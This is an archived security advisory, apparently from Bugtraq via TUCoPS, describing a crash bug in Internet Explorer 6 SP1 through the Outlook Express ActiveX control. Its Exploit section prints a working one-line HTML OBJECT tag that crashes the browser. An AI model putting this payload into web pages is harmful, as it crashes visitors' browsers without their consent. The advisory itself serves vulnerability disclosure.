TUCoPS :: Browsers :: bt757.txt

IE6 SP1 - Trivial Crash


Overview/Description:

    In March of 2000, someone posted to bugtraq a flaw in the MS Outlook
Express ActiveX control which allowed for "the reading of any file on the
users machine." My guess is that MS, in an attempt to bugfix it, didnt debug
properly and left the following new bug. So now, using the same OE ActiveX
Control, a single line of code can crash IE.


Exploit:

    <OBJECT CLASSID="CLSID:1C82EAD9-508E-11D1-8DCF-00C04FB951F9"
data="1.html"></OBJECT>


Recommendation:

    Don't put this line of code in your pages. Other than that, I dont know
what to tell you.


Credit:

    This vulnerability was discovered by James Wolfe of QuIC Solutions, Inc.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH